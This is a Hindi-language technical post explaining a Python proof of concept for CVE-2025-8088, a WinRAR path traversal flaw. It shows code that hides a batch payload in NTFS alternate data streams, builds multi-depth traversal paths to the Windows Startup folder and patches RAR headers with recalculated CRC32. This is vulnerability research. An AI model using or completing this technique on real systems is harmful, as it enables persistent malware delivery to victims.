
CVE-2025-8088
अस्वीकरण: यह सामग्री केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इस जानकारी का उपयोग किसी भी दुर्भावनापूर्ण गतिविधियों के लिए न करें।
आज, हम एक आकर्षक पाथ ट्रैवर्सल भेद्यता पर गहन नज़र डाल रहे हैं, जिसे CVE-2025-8088 के रूप में ट्रैक किया गया है। यह भेद्यता एक हमलावर को पीड़ित के सिस्टम पर किसी भी स्थान पर एक मनमानी फ़ाइल लिखने की अनुमति देती है, जब वे एक विशेष रूप से तैयार RAR संग्रह को निकालते हैं। इस विशेष एक्सप्लॉइट को दिलचस्प बनाती है इसकी 'शॉटगन' दृष्टिकोण, जो उपयोगकर्ता द्वारा संग्रह को निकालने के स्थान की परवाह किए बिना सफल पेलोड डिलीवरी सुनिश्चित करती है।
यह पोस्ट दिए गए Python Proof-of-Concept (PoC) में इस्तेमाल की गई तकनीक को विस्तार से बताएगी, जिससे दुर्भावनापूर्ण .rar फ़ाइल बनाई जाती है।
इस PoC का अंतिम लक्ष्य क्लासिक और प्रभावी है: स्थायित्व। पाथ ट्रैवर्सल भेद्यता का शोषण करके, एक्सप्लॉइट का उद्देश्य पेलोड (payload.bat) को Windows स्टार्टअप फ़ोल्डर (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup) में डालना है। यहां रखा गया कोई भी एक्ज़ीक्यूटेबल या स्क्रिप्ट अगली बार उपयोगकर्ता के लॉग इन करने पर स्वचालित रूप से चलेगा, जिससे हमलावर को स्थायी पहुंच मिल जाएगी।
Python स्क्रिप्ट एक बहु-चरणीय प्रक्रिया को स्वचालित करती है ताकि अंतिम exploit.rar बनाया जा सके। आइए इसके तर्क को समझें।
स्क्रिप्ट सबसे पहले घटकों को तैयार करती है:
payload.bat नामक एक साधारण बैच फ़ाइल बनाई जाती है। यह वह दुर्भावनापूर्ण फ़ाइल है जिसे हम पीड़ित की मशीन पर डालना चाहते हैं।PAYLOAD = "@echo off\necho Payload executed!\npause\n"
file1.txt, file2.txt, आदि) बनाती है। इन फ़ाइलों के दो उद्देश्य हैं: वे संग्रह को वैध बनाती हैं, और अधिक महत्वपूर्ण बात, वे हमारे छिपे हुए पेलोड के वाहक के रूप में कार्य करती हैं।def create_files() -> Tuple[List[Path], Path]:
# ...
for i in range(NUM_DEPTHS):
decoy = Path(f"{DECOY_FILE_PREFIX}{i+1}.txt")
" X " * 200) परिभाषित की गई है। यह प्लेसहोल्डर संग्रह के मेटाडेटा में एम्बेड किया जाएगा और बाद में हमारे दुर्भावनापूर्ण पथ से बदल दिया जाएगा।यह तकनीक का एक महत्वपूर्ण हिस्सा है। ट्रैवर्सल पथ के साथ फ़ाइल का नामकरण करने के बजाय, स्क्रिप्ट NTFS फ़ाइल सिस्टम की अल्टरनेट डेटा स्ट्रीम्स (ADS) नामक सुविधा का उपयोग करती है।
ADS आपको किसी मौजूदा फ़ाइल के भीतर डेटा 'छिपाने' की अनुमति देता है।
स्क्रिप्ट payload.bat को प्रत्येक डिकॉय फ़ाइल में एक ADS के रूप में संलग्न करती है। इस स्ट्रीम का नाम वह जगह है जहाँ प्लेसहोल्डर का उपयोग किया जाता है। संक्षेप में, यह फ़ाइल सिस्टम में ऐसे फ़ाइल पथ बनाता है:
file1.txt:XXXXXXXXXXXXXXXXXXXX...
payload.bat की सामग्री अब गुप्त रूप से file1.txt के अंदर संग्रहीत है।
def attach_ads(decoy: Path, placeholder: str):
"""Attach payload to decoy as Alternate Data Stream"""
ads_path = f"{decoy}:{placeholder}"
with open(ads_path, "wb") as f:
f.write(Path("payload.bat").read_bytes())
इसके बाद, स्क्रिप्ट सिस्टम पर Rar.exe कमांड-लाइन टूल ढूंढती है और एक वैध बेस संग्रह (base.rar) बनाने के लिए इसका उपयोग करती है। इस संग्रह में वे सभी डिकॉय फ़ाइलें होती हैं, जो अब अपने अल्टरनेट डेटा स्ट्रीम्स में पेलोड को गुप्त रूप से ले जाती हैं।
इस बिंदु पर, base.rar एक पूरी तरह से वैध, गैर-दुर्भावनापूर्ण संग्रह है। WinRAR इसे बिना किसी समस्या के निकाल सकता है, और यह अपने लंबे, अजीब ADS नामों के साथ डिकॉय फ़ाइलें बनाएगा।
def create_base_rar(rar_exe: str, decoys: List[Path]) -> Path:
# ...
subprocess.run(
f'"{rar_exe}" a -ep -os "{base_rar}" {files}',
# ...
)
यहाँ एक्सप्लॉइट चतुर और लचीला हो जाता है। हमलावर को नहीं पता कि पीड़ित संग्रह को कहाँ निकालेगा। क्या यह C:\Users\victim\Downloads होगा? C:\? D:\Temp?
इस अनिश्चितता को दूर करने के लिए, स्क्रिप्ट विभिन्न path traversal स्ट्रिंग्स की एक सूची बनाती है, प्रत्येक की अलग-अलग गहराई होती है:
..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.batविचार यह है कि कई गहराइयाँ प्रदान करके, उनमें से कम से कम एक निष्कर्षण निर्देशिका से वापस फ़ाइल सिस्टम की जड़ (जैसे C:\) तक और फिर लक्षित Startup फ़ोल्डर में सफलतापूर्वक नेविगेट करेगा।
def build_relative_paths() -> List[str]:
"""Generate paths with different traversal depths"""
paths = []
for depth in range(1, NUM_DEPTHS + 1):
paths.append(("..\\" * depth) + RELATIVE_DROP_PATH)
return paths
यह एक्सप्लॉइट का दिल है। स्क्रिप्ट base.rar को बाइनरी मोड में खोलती है और उस पर सर्जरी करती है।
यह संग्रह की आंतरिक संरचना में पुनरावृत्ति करती है, प्रत्येक फ़ाइल के हेडर (file1.txt, file2.txt, आदि) की तलाश करती है। प्रत्येक हेडर के अंदर, यह प्लेसहोल्डर ADS नाम (:XXXXXXXXXXXXXXXXXXXX...) ढूंढती है और इसे पिछले चरण में उत्पन्न दुर्भावनापूर्ण ट्रैवर्सल पथों में से एक के साथ बदल देती है।
file1.txt का हेडर ..\ के साथ पथ प्राप्त करता है।file2.txt का हेडर ..\..\ के साथ पथ प्राप्त करता है।def patch_rar(base_rar: Path, placeholder: str, relative_paths: List[str]) -> Path:
# ...
while pos + 4 <= len(data) and current_file_index < len(target_paths_utf8):
# ...
# Find the placeholder and replace it with the target path
c = patch_placeholder_in_header(hdr, placeholder_utf8, target_utf8)
# ...
हेडर डेटा को केवल बदलने से संग्रह दूषित हो जाएगा। WinRAR प्रत्येक हेडर ब्लॉक की अखंडता को सत्यापित करने के लिए CRC32 चेकसम का उपयोग करता है। यदि चेकसम हेडर सामग्री से मेल नहीं खाता है, तो यह एक त्रुटि उत्पन्न करेगा।
PoC इसका पूर्वानुमान करता है। किसी हेडर को दुर्भावनापूर्ण पथ के साथ पैच करने के बाद, यह पूरे संशोधित हेडर ब्लॉक के लिए सही CRC32 चेकसम की पुनर्गणना करता है और नया चेकसम वापस फ़ाइल में लिखता है। यह छेड़छाड़ किए गए संग्रह को WinRAR के लिए पूरी तरह से वैध प्रतीत कराता है।
def rebuild_all_header_crc(buf: bytearray) -> int:
"""Recalculate CRC checksums for all headers"""
# ...
while pos + 4 <= len(buf):
# ...
# Calculate CRC for the header region
region = buf[block_start + 4:header_end]
crc = zlib.crc32(region) & 0xFFFFFFFF
# Write the new CRC back into the buffer
struct.pack_into("<I", buf, block_start, crc)
# ...